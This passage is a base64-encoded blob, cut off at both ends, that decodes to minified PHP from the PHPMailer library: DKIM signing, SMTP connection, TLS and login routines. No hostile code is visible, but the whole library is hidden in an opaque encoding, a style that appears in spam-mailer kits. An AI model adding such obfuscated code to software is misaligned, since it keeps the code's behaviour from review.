FsnYmFzZW5hbWUnXTtjYXNlIFBBVEhJTkZPX0VYVEVOU0lPTjpjYXNlICdleHRlbnNpb24nOnJldHVybiAkcmV0WydleHRlbnNpb24nXTtjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOmNhc2UgJ2ZpbGVuYW1lJzpyZXR1cm4gJHJldFsnZmlsZW5hbWUnXTtkZWZhdWx0OnJldHVybiAkcmV0O319cHVibGljIGZ1bmN0aW9uIHNldCgkbmFtZSwkdmFsdWU9Jycpe2lmKHByb3BlcnR5X2V4aXN0cygkdGhpcywkbmFtZSkpeyR0aGlzLT4kbmFtZT0kdmFsdWU7cmV0dXJuIHRydWU7fSR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygndmFyaWFibGVfc2V0JykuJG5hbWUpO3JldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZShbIlxyIiwiXG4iXSwnJywkc3RyKSk7fXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbm9ybWFsaXplQnJlYWtzKCR0ZXh0LCRicmVha3R5cGU9bnVsbCl7aWYobnVsbD09PSRicmVha3R5cGUpeyRicmVha3R5cGU9c3RhdGljOjokTEU7fSR0ZXh0PXN0cl9yZXBsYWNlKFsiXHJcbiIsIlxyIl0sIlxuIiwkdGV4dCk7aWYoIlxuIiE9PSRicmVha3R5cGUpeyR0ZXh0PXN0cl9yZXBsYWNlKCJcbiIsJGJyZWFrdHlwZSwkdGV4dCk7fXJldHVybiAkdGV4dDt9cHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRMRSgpe3JldHVybiBzdGF0aWM6OiRMRTt9cHJvdGVjdGVkIHN0YXRpYyBmdW5jdGlvbiBzZXRMRSgkbGUpe3N0YXRpYzo6JExFPSRsZTt9cHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsJGtleV9maWxlbmFtZSwka2V5X3Bhc3MsJGV4dHJhY2VydHNfZmlsZW5hbWU9JycpeyR0aGlzLT5zaWduX2NlcnRfZmlsZT0kY2VydF9maWxlbmFtZTskdGhpcy0+c2lnbl9rZXlfZmlsZT0ka2V5X2ZpbGVuYW1lOyR0aGlzLT5zaWduX2tleV9wYXNzPSRrZXlfcGFzczskdGhpcy0+c2lnbl9leHRyYWNlcnRzX2ZpbGU9JGV4dHJhY2VydHNfZmlsZW5hbWU7fXB1YmxpYyBmdW5jdGlvbiBES0lNX1FQKCR0eHQpeyRsaW5lPScnOyRsZW49c3RybGVuKCR0eHQpO2ZvcigkaT0wOyRpPCRsZW47KyskaSl7JG9yZD1vcmQoJHR4dFskaV0pO2lmKCgoMHgyMSA8PSAkb3JkKWFuZCgkb3JkIDw9IDB4M0EpKW9yICRvcmQ9PTB4M0Mgb3IoKDB4M0UgPD0gJG9yZClhbmQoJG9yZCA8PSAweDdFKSkpeyRsaW5lLj0kdHh0WyRpXTt9ZWxzZXskbGluZS49Jz0nLnNwcmludGYoJyUwMlgnLCRvcmQpO319cmV0dXJuICRsaW5lO31wdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKXtpZighZGVmaW5lZCgnUEtDUzdfVEVYVCcpKXtpZigkdGhpcy0+ZXhjZXB0aW9ucyl7dGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKS4nb3BlbnNzbCcpO31yZXR1cm4gJyc7fSRwcml2S2V5U3RyPSFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyk/JHRoaXMtPkRLSU1fcHJpdmF0ZV9zdHJpbmc6ZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSk7aWYoJychPSR0aGlzLT5ES0lNX3Bhc3NwaHJhc2UpeyRwcml2S2V5PW9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0ciwkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTt9ZWxzZXskcHJpdktleT1vcGVuc3NsX3BrZXlfZ2V0X3ByaXZhdGUoJHByaXZLZXlTdHIpO31pZihvcGVuc3NsX3NpZ24oJHNpZ25IZWFkZXIsJHNpZ25hdHVyZSwkcHJpdktleSwnc2hhMjU2V2l0aFJTQUVuY3J5cHRpb24nKSl7b3BlbnNzbF9wa2V5X2ZyZWUoJHByaXZLZXkpO3JldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpO31vcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7cmV0dXJuICcnO31wdWJsaWMgZnVuY3Rpb24gREtJTV9IZWFkZXJDKCRzaWduSGVhZGVyKXskc2lnbkhlYWRlcj1wcmVnX3JlcGxhY2UoJy9cclxuWyBcdF0rLycsJyAnLCRzaWduSGVhZGVyKTskbGluZXM9ZXhwbG9kZSgiXHJcbiIsJHNpZ25IZWFkZXIpO2ZvcmVhY2goJGxpbmVzIGFzICRrZXk9PiRsaW5lKXtpZihzdHJwb3MoJGxpbmUsJzonKT09PWZhbHNlKXtjb250aW51ZTt9bGlzdCgkaGVhZGluZywkdmFsdWUpPWV4cGxvZGUoJzonLCRsaW5lLDIpOyRoZWFkaW5nPXN0cnRvbG93ZXIoJGhlYWRpbmcpOyR2YWx1ZT1wcmVnX3JlcGxhY2UoJy9bIFx0XXsyLH0vJywnICcsJHZhbHVlKTskbGluZXNbJGtleV09dHJpbSgkaGVhZGluZywiIFx0IikuJzonLnRyaW0oJHZhbHVlLCIgXHQiKTt9cmV0dXJuIGltcGxvZGUoIlxyXG4iLCRsaW5lcyk7fXB1YmxpYyBmdW5jdGlvbiBES0lNX0JvZHlDKCRib2R5KXtpZihlbXB0eSgkYm9keSkpe3JldHVybiAiXHJcbiI7fSRib2R5PXN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRib2R5LCJcclxuIik7cmV0dXJuIHJ0cmltKCRib2R5LCJcclxuIikuIlxyXG4iO31wdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwkc3ViamVjdCwkYm9keSl7JERLSU1zaWduYXR1cmVUeXBlPSdyc2Etc2hhMjU2JzskREtJTWNhbm9uaWNhbGl6YXRpb249J3JlbGF4ZWQvc2ltcGxlJzskREtJTXF1ZXJ5PSdkbnMvdHh0JzskREtJTXRpbWU9dGltZSgpOyRzdWJqZWN0X2hlYWRlcj0iU3ViamVjdDokc3ViamVjdCI7JGhlYWRlcnM9ZXhwbG9kZShzdGF0aWM6OiRMRSwkaGVhZGVyc19saW5lKTskZnJvbV9oZWFkZXI9Jyc7JHRvX2hlYWRlcj0nJzskZGF0ZV9oZWFkZXI9Jyc7JGN1cnJlbnQ9Jyc7JGNvcGllZEhlYWRlckZpZWxkcz0nJzskZm91bmRFeHRyYUhlYWRlcnM9W107JGV4dHJhSGVhZGVyS2V5cz0nJzskZXh0cmFIZWFkZXJWYWx1ZXM9Jyc7JGV4dHJhQ29weUhlYWRlckZpZWxkcz0nJztmb3JlYWNoKCRoZWFkZXJzIGFzICRoZWFkZXIpe2lmKHN0cnBvcygkaGVhZGVyLCdGcm9tOicpPT09MCl7JGZyb21faGVhZGVyPSRoZWFkZXI7JGN1cnJlbnQ9J2Zyb21faGVhZGVyJzt9ZWxzZWlmKHN0cnBvcygkaGVhZGVyLCdUbzonKT09PTApeyR0b19oZWFkZXI9JGhlYWRlcjskY3VycmVudD0ndG9faGVhZGVyJzt9ZWxzZWlmKHN0cnBvcygkaGVhZGVyLCdEYXRlOicpPT09MCl7JGRhdGVfaGVhZGVyPSRoZWFkZXI7JGN1cnJlbnQ9J2RhdGVfaGVhZGVyJzt9ZWxzZWlmKCFlbXB0eSgkdGhpcy0+REtJTV9leHRyYUhlYWRlcnMpKXtmb3JlYWNoKCR0aGlzLT5ES0lNX2V4dHJhSGVhZGVycyBhcyAkZXh0cmFIZWFkZXIpe2lmKHN0cnBvcygkaGVhZGVyLCRleHRyYUhlYWRlci4nOicpPT09MCl7JGhlYWRlclZhbHVlPSRoZWFkZXI7Zm9yZWFjaCgkdGhpcy0+Q3VzdG9tSGVhZGVyIGFzICRjdXN0b21IZWFkZXIpe2lmKCRjdXN0b21IZWFkZXJbMF09PT0kZXh0cmFIZWFkZXIpeyRoZWFkZXJWYWx1ZT10cmltKCRjdXN0b21IZWFkZXJbMF0pLic6ICcuJHRoaXMtPmVuY29kZUhlYWRlcih0cmltKCRjdXN0b21IZWFkZXJbMV0pKTticmVhazt9fSRmb3VuZEV4dHJhSGVhZGVyc1skZXh0cmFIZWFkZXJdPSRoZWFkZXJWYWx1ZTskY3VycmVudD0nJzticmVhazt9fX1lbHNle2lmKCFlbXB0eSgkJGN1cnJlbnQpYW5kIHN0cnBvcygkaGVhZGVyLCcgPT8nKT09PTApeyQkY3VycmVudC49JGhlYWRlcjt9ZWxzZXskY3VycmVudD0nJzt9fX1mb3JlYWNoKCRmb3VuZEV4dHJhSGVhZGVycyBhcyAka2V5PT4kdmFsdWUpeyRleHRyYUhlYWRlcktleXMuPSc6Jy4ka2V5OyRleHRyYUhlYWRlclZhbHVlcy49JHZhbHVlLiJcclxuIjtpZigkdGhpcy0+REtJTV9jb3B5SGVhZGVyRmllbGRzKXskZXh0cmFDb3B5SGVhZGVyRmllbGRzLj0nIHwnLnN0cl9yZXBsYWNlKCd8JywnPTdDJywkdGhpcy0+REtJTV9RUCgkdmFsdWUpKS4iO1xyXG4iO319aWYoJHRoaXMtPkRLSU1fY29weUhlYWRlckZpZWxkcyl7JGZyb209c3RyX3JlcGxhY2UoJ3wnLCc9N0MnLCR0aGlzLT5ES0lNX1FQKCRmcm9tX2hlYWRlcikpOyR0bz1zdHJfcmVwbGFjZSgnfCcsJz03QycsJHRoaXMtPkRLSU1fUVAoJHRvX2hlYWRlcikpOyRkYXRlPXN0cl9yZXBsYWNlKCd8JywnPTdDJywkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTskc3ViamVjdD1zdHJfcmVwbGFjZSgnfCcsJz03QycsJHRoaXMtPkRLSU1fUVAoJHN1YmplY3RfaGVhZGVyKSk7JGNvcGllZEhlYWRlckZpZWxkcz0iej0kZnJvbVxyXG4iLiJ8JHRvXHJcbiIuInwkZGF0ZVxyXG4iLiJ8JHN1YmplY3Q7XHJcbiIuJGV4dHJhQ29weUhlYWRlckZpZWxkczt9JGJvZHk9JHRoaXMtPkRLSU1fQm9keUMoJGJvZHkpOyRES0lNbGVuPXN0cmxlbigkYm9keSk7JERLSU1iNjQ9YmFzZTY0X2VuY29kZShwYWNrKCdIKicsaGFzaCgnc2hhMjU2JywkYm9keSkpKTtpZignJz09JHRoaXMtPkRLSU1faWRlbnRpdHkpeyRpZGVudD0nJzt9ZWxzZXskaWRlbnQ9JyBpPScuJHRoaXMtPkRLSU1faWRlbnRpdHkuJzsnO30kZGtpbWhkcnM9J0RLSU0tU2lnbmF0dXJlOiB2PTE7IGE9Jy4kREtJTXNpZ25hdHVyZVR5cGUuJzsgcT0nLiRES0lNcXVlcnkuJzsgbD0nLiRES0lNbGVuLic7IHM9Jy4kdGhpcy0+REtJTV9zZWxlY3Rvci4iO1xyXG4iLicgdD0nLiRES0lNdGltZS4nOyBjPScuJERLSU1jYW5vbmljYWxpemF0aW9uLiI7XHJcbiIuJyBoPUZyb206VG86RGF0ZTpTdWJqZWN0Jy4kZXh0cmFIZWFkZXJLZXlzLiI7XHJcbiIuJyBkPScuJHRoaXMtPkRLSU1fZG9tYWluLic7Jy4kaWRlbnQuIlxyXG4iLiRjb3BpZWRIZWFkZXJGaWVsZHMuJyBiaD0nLiRES0lNYjY0LiI7XHJcbiIuJyBiPSc7JHRvU2lnbj0kdGhpcy0+REtJTV9IZWFkZXJDKCRmcm9tX2hlYWRlci4iXHJcbiIuJHRvX2hlYWRlci4iXHJcbiIuJGRhdGVfaGVhZGVyLiJcclxuIi4kc3ViamVjdF9oZWFkZXIuIlxyXG4iLiRleHRyYUhlYWRlclZhbHVlcy4kZGtpbWhkcnMpOyRzaWduZWQ9JHRoaXMtPkRLSU1fU2lnbigkdG9TaWduKTtyZXR1cm4gc3RhdGljOjpub3JtYWxpemVCcmVha3MoJGRraW1oZHJzLiRzaWduZWQpLnN0YXRpYzo6JExFO31wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpe3JldHVybiAoYm9vbCkgcHJlZ19tYXRjaCgnL14oLnsnLihzZWxmOjpNQVhfTElORV9MRU5HVEgrc3RybGVuKHN0YXRpYzo6JExFKSkuJyx9KS9tJywkc3RyKTt9cHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCl7cmV0dXJuICR0aGlzLT50bzt9cHVibGljIGZ1bmN0aW9uIGdldENjQWRkcmVzc2VzKCl7cmV0dXJuICR0aGlzLT5jYzt9cHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3Nlcygpe3JldHVybiAkdGhpcy0+YmNjO31wdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3Nlcygpe3JldHVybiAkdGhpcy0+UmVwbHlUbzt9cHVibGljIGZ1bmN0aW9uIGdldEFsbFJlY2lwaWVudEFkZHJlc3Nlcygpe3JldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7fXByb3RlY3RlZCBmdW5jdGlvbiBkb0NhbGxiYWNrKCRpc1NlbnQsJHRvLCRjYywkYmNjLCRzdWJqZWN0LCRib2R5LCRmcm9tLCRleHRyYSl7aWYoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKXtjYWxsX3VzZXJfZnVuYygkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uLCRpc1NlbnQsJHRvLCRjYywkYmNjLCRzdWJqZWN0LCRib2R5LCRmcm9tLCRleHRyYSk7fX1wdWJsaWMgZnVuY3Rpb24gZ2V0T0F1dGgoKXtyZXR1cm4gJHRoaXMtPm9hdXRoO31wdWJsaWMgZnVuY3Rpb24gc2V0T0F1dGgoT0F1dGggJG9hdXRoKXskdGhpcy0+b2F1dGg9JG9hdXRoO319CmNsYXNzIFNNVFB7Y29uc3QgVkVSU0lPTj0nNi4wLjcnO2NvbnN0IExFPSJcclxuIjtjb25zdCBERUZBVUxUX1BPUlQ9MjU7Y29uc3QgTUFYX0xJTkVfTEVOR1RIPTk5ODtjb25zdCBERUJVR19PRkY9MDtjb25zdCBERUJVR19DTElFTlQ9MTtjb25zdCBERUJVR19TRVJWRVI9Mjtjb25zdCBERUJVR19DT05ORUNUSU9OPTM7Y29uc3QgREVCVUdfTE9XTEVWRUw9NDtwdWJsaWMgJGRvX2RlYnVnPXNlbGY6OkRFQlVHX09GRjtwdWJsaWMgJERlYnVnb3V0cHV0PSdlY2hvJztwdWJsaWMgJGRvX3ZlcnA9ZmFsc2U7cHVibGljICRUaW1lb3V0PTMwMDtwdWJsaWMgJFRpbWVsaW1pdD0zMDA7cHJvdGVjdGVkICRzbXRwX3RyYW5zYWN0aW9uX2lkX3BhdHRlcm5zPVsnZXhpbSc9PicvW1xkXXszfSBPSyBpZD0oLiopLycsJ3NlbmRtYWlsJz0+Jy9bXGRdezN9IDIuMC4wICguKikgTWVzc2FnZS8nLCdwb3N0Zml4Jz0+Jy9bXGRdezN9IDIuMC4wIE9rOiBxdWV1ZWQgYXMgKC4qKS8nLCdNaWNyb3NvZnRfRVNNVFAnPT4nL1swLTldezN9IDIuW1xkXS4wICguKilAKD86LiopIFF1ZXVlZCBtYWlsIGZvciBkZWxpdmVyeS8nLCdBbWF6b25fU0VTJz0+Jy9bXGRdezN9IE9rICguKikvJywnU2VuZEdyaWQnPT4nL1tcZF17M30gT2s6IHF1ZXVlZCBhcyAoLiopLycsJ0NhbXBhaWduTW9uaXRvcic9PicvW1xkXXszfSAyLjAuMCBPSzooW2EtekEtWlxkXXs0OH0pLycsXTtwcm90ZWN0ZWQgJGxhc3Rfc210cF90cmFuc2FjdGlvbl9pZDtwcm90ZWN0ZWQgJHNtdHBfY29ubjtwcm90ZWN0ZWQgJGVycm9yPVsnZXJyb3InPT4nJywnZGV0YWlsJz0+JycsJ3NtdHBfY29kZSc9PicnLCdzbXRwX2NvZGVfZXgnPT4nJyxdO3Byb3RlY3RlZCAkaGVsb19ycGx5PW51bGw7cHJvdGVjdGVkICRzZXJ2ZXJfY2Fwcz1udWxsO3Byb3RlY3RlZCAkbGFzdF9yZXBseT0nJztwcm90ZWN0ZWQgZnVuY3Rpb24gZWRlYnVnKCRzdHIsJGxldmVsPTApe2lmKCRsZXZlbD4kdGhpcy0+ZG9fZGVidWcpe3JldHVybjt9aWYoJHRoaXMtPkRlYnVnb3V0cHV0IGluc3RhbmNlb2YgXFBzclxMb2dcTG9nZ2VySW50ZXJmYWNlKXskdGhpcy0+RGVidWdvdXRwdXQtPmRlYnVnKCRzdHIpO3JldHVybjt9aWYoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCxbJ2Vycm9yX2xvZycsJ2h0bWwnLCdlY2hvJ10pYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpe2NhbGxfdXNlcl9mdW5jKCR0aGlzLT5EZWJ1Z291dHB1dCwkc3RyLCRsZXZlbCk7cmV0dXJuO31zd2l0Y2goJHRoaXMtPkRlYnVnb3V0cHV0KXtjYXNlICdlcnJvcl9sb2cnOmVycm9yX2xvZygkc3RyKTticmVhaztjYXNlICdodG1sJzplY2hvIGdtZGF0ZSgnWS1tLWQgSDppOnMnKSwnICcsaHRtbGVudGl0aWVzKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywnJywkc3RyKSxFTlRfUVVPVEVTLCdVVEYtOCcpLCI8YnI+XG4iO2JyZWFrO2Nhc2UgJ2VjaG8nOmRlZmF1bHQ6JHN0cj1wcmVnX3JlcGxhY2UoJy9cclxufFxyL21zJywiXG4iLCRzdHIpO2VjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpLCJcdCIsdHJpbShzdHJfcmVwbGFjZSgiXG4iLCJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsdHJpbSgkc3RyKSkpLCJcbiI7fX1wdWJsaWMgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwkcG9ydD1udWxsLCR0aW1lb3V0PTMwLCRvcHRpb25zPVtdKXtzdGF0aWMgJHN0cmVhbW9rO2lmKG51bGw9PT0kc3RyZWFtb2speyRzdHJlYW1vaz1mdW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9zb2NrZXRfY2xpZW50Jyk7fSR0aGlzLT5zZXRFcnJvcignJyk7aWYoJHRoaXMtPmNvbm5lY3RlZCgpKXskdGhpcy0+c2V0RXJyb3IoJ0FscmVhZHkgY29ubmVjdGVkIHRvIGEgc2VydmVyJyk7cmV0dXJuIGZhbHNlO31pZihlbXB0eSgkcG9ydCkpeyRwb3J0PXNlbGY6OkRFRkFVTFRfUE9SVDt9JHRoaXMtPmVkZWJ1ZygiQ29ubmVjdGlvbjogb3BlbmluZyB0byRob3N0OiRwb3J0LCB0aW1lb3V0PSR0aW1lb3V0LCBvcHRpb25zPSIuKGNvdW50KCRvcHRpb25zKT4wP3Zhcl9leHBvcnQoJG9wdGlvbnMsdHJ1ZSk6J2FycmF5KCknKSxzZWxmOjpERUJVR19DT05ORUNUSU9OKTskZXJybm89MDskZXJyc3RyPScnO2lmKCRzdHJlYW1vayl7JHNvY2tldF9jb250ZXh0PXN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkb3B0aW9ucyk7c2V0X2Vycm9yX2hhbmRsZXIoWyR0aGlzLCdlcnJvckhhbmRsZXInXSk7JHRoaXMtPnNtdHBfY29ubj1zdHJlYW1fc29ja2V0X2NsaWVudCgkaG9zdC4nOicuJHBvcnQsJGVycm5vLCRlcnJzdHIsJHRpbWVvdXQsU1RSRUFNX0NMSUVOVF9DT05ORUNULCRzb2NrZXRfY29udGV4dCk7cmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7fWVsc2V7JHRoaXMtPmVkZWJ1ZygnQ29ubmVjdGlvbjogc3RyZWFtX3NvY2tldF9jbGllbnQgbm90IGF2YWlsYWJsZSwgZmFsbGluZyBiYWNrIHRvIGZzb2Nrb3Blbicsc2VsZjo6REVCVUdfQ09OTkVDVElPTik7c2V0X2Vycm9yX2hhbmRsZXIoWyR0aGlzLCdlcnJvckhhbmRsZXInXSk7JHRoaXMtPnNtdHBfY29ubj1mc29ja29wZW4oJGhvc3QsJHBvcnQsJGVycm5vLCRlcnJzdHIsJHRpbWVvdXQpO3Jlc3RvcmVfZXJyb3JfaGFuZGxlcigpO31pZighaXNfcmVzb3VyY2UoJHRoaXMtPnNtdHBfY29ubikpeyR0aGlzLT5zZXRFcnJvcignRmFpbGVkIHRvIGNvbm5lY3QgdG8gc2VydmVyJywnJywoc3RyaW5nKSRlcnJubywoc3RyaW5nKSRlcnJzdHIpOyR0aGlzLT5lZGVidWcoJ1NNVFAgRVJST1I6ICcuJHRoaXMtPmVycm9yWydlcnJvciddLiI6JGVycnN0ciAoJGVycm5vKSIsc2VsZjo6REVCVUdfQ0xJRU5UKTtyZXR1cm4gZmFsc2U7fSR0aGlzLT5lZGVidWcoJ0Nvbm5lY3Rpb246IG9wZW5lZCcsc2VsZjo6REVCVUdfQ09OTkVDVElPTik7aWYoc3Vic3RyKFBIUF9PUywwLDMpIT0nV0lOJyl7JG1heD1pbmlfZ2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnKTtpZigwIT0kbWF4IGFuZCAkdGltZW91dD4kbWF4KXtAc2V0X3RpbWVfbGltaXQoJHRpbWVvdXQpO31zdHJlYW1fc2V0X3RpbWVvdXQoJHRoaXMtPnNtdHBfY29ubiwkdGltZW91dCwwKTt9JGFubm91bmNlPSR0aGlzLT5nZXRfbGluZXMoKTskdGhpcy0+ZWRlYnVnKCdTRVJWRVIgLT4gQ0xJRU5UOiAnLiRhbm5vdW5jZSxzZWxmOjpERUJVR19TRVJWRVIpO3JldHVybiB0cnVlO31wdWJsaWMgZnVuY3Rpb24gc3RhcnRUTFMoKXtpZighJHRoaXMtPnNlbmRDb21tYW5kKCdTVEFSVFRMUycsJ1NUQVJUVExTJywyMjApKXtyZXR1cm4gZmFsc2U7fSRjcnlwdG9fbWV0aG9kPVNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU19DTElFTlQ7aWYoZGVmaW5lZCgnU1RSRUFNX0NSWVBUT19NRVRIT0RfVExTdjFfMl9DTElFTlQnKSl7JGNyeXB0b19tZXRob2R8PVNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3YxXzJfQ0xJRU5UOyRjcnlwdG9fbWV0aG9kfD1TVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8xX0NMSUVOVDt9c2V0X2Vycm9yX2hhbmRsZXIoWyR0aGlzLCdlcnJvckhhbmRsZXInXSk7JGNyeXB0b19vaz1zdHJlYW1fc29ja2V0X2VuYWJsZV9jcnlwdG8oJHRoaXMtPnNtdHBfY29ubix0cnVlLCRjcnlwdG9fbWV0aG9kKTtyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTtyZXR1cm4gKGJvb2wpICRjcnlwdG9fb2s7fXB1YmxpYyBmdW5jdGlvbiBhdXRoZW50aWNhdGUoJHVzZXJuYW1lLCRwYXNzd29yZCwkYXV0aHR5cGU9bnVsbCwkT0F1dGg9bnVsbCl7aWYoISR0aGlzLT5zZXJ2ZXJfY2Fwcyl7JHRoaXMtPnNldEVycm9yKCdBdXRoZW50aWNhdGlvbiBpcyBub3QgYWxsb3dlZCBiZWZvcmUgSEVMTy9FSExPJyk7cmV0dXJuIGZhbHNlO31pZihhcnJheV9rZXlfZXhpc3RzKCdFSExPJywkdGhpcy0+c2VydmVyX2NhcHMpKXtpZighYXJyYXlfa2V5X2V4aXN0cygnQVVUSCcsJHRoaXMtPnNlcnZlcl9jYXBzKSl7JHRoaXMtPnNldEVycm9yKCdBdXRoZW50aWNhdGlvbiBpcyBub3QgYWxsb3dlZCBhdCB0aGlzIHN0YWdlJyk7cmV0dXJuIGZhbHNlO30kdGhpcy0+ZWRlYnVnKCdBdXRoIG1ldGhvZCByZXF1ZXN0ZWQ6ICcuKCRhdXRodHlwZT8kYXV0aHR5cGU6J1VOU1BFQ0lGSUVEJyksc2VsZjo6REVCVUdfTE9XTEVWRUwpOyR0aGlzLT5lZGVidWcoJ0F1dGggbWV0aG9kcyBhdmFpbGFibGUgb24gdGhlIHNlcnZlcjogJy5pbXBsb2RlKCcsJywkdGhpcy0+c2VydmVyX2NhcHNbJ0FVVEgnXSksc2VsZjo6REVCVUdfTE9XTEVWRUwpO2lmKG51bGwhPT0kYXV0aHR5cGUgYW5kIWluX2FycmF5KCRhdXRodHlwZSwkdGhpcy0+c2VydmVyX2NhcHNbJ0FVVEgnXSkpeyR0aGlzLT5lZGVidWcoJ1JlcXVlc3RlZCBhdXRoIG1ldGhvZCBub3QgYXZhaWxhYmxlOiAnLiRhdXRodHlwZSxzZWxmOjpERUJVR19MT1dMRVZFTCk7JGF1dGh0eXBlPW51bGw7fWlmKGVtcHR5KCRhdXRodHlwZSkpe2ZvcmVhY2goWydDUkFNLU1ENScsJ0xPR0lOJywnUExBSU4nLCdYT0FVVEgyJ11hcyAkbWV0aG9kKXtpZihpbl9hcnJheSgkbWV0aG9kLCR0aGlzLT5zZXJ2ZXJfY2Fwc1snQVVUSCddKSl7JGF1dGh0eXBlPSRtZXRob2Q7YnJlYWs7fX1pZihlbXB0eSgkYXV0aHR5cGUpKXskdGhpcy0+c2V0RXJyb3IoJ05vIHN1cHBvcnRlZCBhdXRoZW50aWNhdGlvbiBtZXRob2RzIGZvdW5kJyk7cmV0dXJuIGZhbHNlO31zZWxmOjplZGVidWcoJ0F1dGggbWV0aG9kIHNlbGVjdGVkOiAnLiRhdXRodHlwZSxzZWxmOjpERUJVR19MT1dMRVZFTCk7fWlmKCFpbl9hcnJheSgkYXV0aHR5cGUsJHRoaXMtPnNlcnZlcl9jYXBzWydBVVRIJ10pKXskdGhpcy0+c2V0RXJyb3IoIlRoZSByZXF1ZXN0ZWQgYXV0aGVudGljYXRpb24gbWV0aG9kIFwiJGF1dGh0eXBlXCIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGUgc2VydmVyIik7cmV0dXJuIGZhbHNlO319ZWxzZWlmKGVtcHR5KCRhdXRodHlwZSkpeyRhdXRodHlwZT0nTE9HSU4nO31zd2l0Y2goJGF1dGh0eXBlKXtjYXNlICdQTEFJTic6aWYoISR0aGlzLT5zZW5kQ29tbWFuZCgnQVVUSCcsJ0FVVEggUExBSU4nLDMzNCkpe3JldHVybiBmYWxzZTt9aWYoISR0aGlzLT5zZW5kQ29tbWFuZCgnVXNlciAmIFBhc3N3b3JkJyxiYXNlNjRfZW5jb2RlKCJcMCIuJHVzZXJuYW1lLiJcMCIuJHBhc3N3b3JkKSwyMzUpKXtyZXR1cm4gZmFsc2U7fWJyZWFrO2Nhc2UgJ0xPR0lOJzppZighJHRoaXMtPnNlbmRDb21tYW5kKCdBVVRIJywnQVVUSCBMT0dJTicsMzM0KSl7cmV0dXJuIGZhbHNlO31pZighJHRoaXMtPnNlbmRDb21tYW5kKCdVc2VybmFtZScsYmFzZTY0X2VuY29kZSgkdXNlcm5hbWUpLDMzNCkpe3JldHVybiBmYWxzZTt9aWYoISR0aGlzLT5zZW5kQ29tbWFuZCgnUGFzc3dvcmQnLGJhc2U2NF9lbmNvZGUoJHBhc3N3b3JkKSwyMzUpKXtyZXR1cm4gZmFsc2U7fWJyZWFrO2Nhc2UgJ0NSQU0tTUQ1JzppZighJHRoaXMtPnNlbmRDb21tYW5kKCdBVVRIIENSQU0tTUQ1JywnQVVUSCBDUkFNLU1ENScsMzM0KSl7cmV0dXJuIGZhbHNlO30kY2hhbGxlbmdlPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCR0aGlzLT5sYXN0X3JlcGx5LDQpKTskcmVzcG9uc2U9JHVzZXJuYW1lLicgJy4kdGhpcy0+aG1hYygkY2hhbGxlbmdlLCRwYXNzd29yZCk7cmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgnVXNlcm5hbWUnLGJhc2U2NF9lbmNvZGUoJHJlc3BvbnNlKSwyMzUpO2Nhc2UgJ1hPQVVUSDInOmlmKG51bGw9PT0kT0F1dGgpe3JldHVybiBmYWxzZTt9JG9hdXRoPSRPQXV0aC0+Z2V0T2F1dGg2NCgpO2lmKCEkdGhpcy0+c2VuZENvbW1hbmQoJ0FVVEgnLCdBVVRIIFhPQVVUSDIgJy4kb2F1dGgsMjM1KSl7cmV0dXJuIGZhbHNlO31icmVhaztkZWZhdWx0OiR0aGlzLT5zZXRFcnJvcigiQXV0aGVudGljYXRpb24gbWV0aG9kIFwiJGF1dGh0eXBlXCIgaXMgbm90IHN1cHBvcnRlZCIpO3JldHVybiBmYWxzZTt9cmV0dXJuIHRydWU7fXByb3RlY3RlZCBmdW5jdGlvbiBobWFjKCRkYXRhLCRrZXkpe2lmKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9obWFjJykpe3JldHVybiBoYXNoX2htYWMoJ21kNScsJGRhdGEsJGtleSk7fSRieXRlbGVuPTY0O2lmKHN0cmxlbigka2V5KT4kYnl0ZWxlbil7JGtleT1wYWNrKCdIKicsbWQ1KCRrZXkpKTt9JGtleT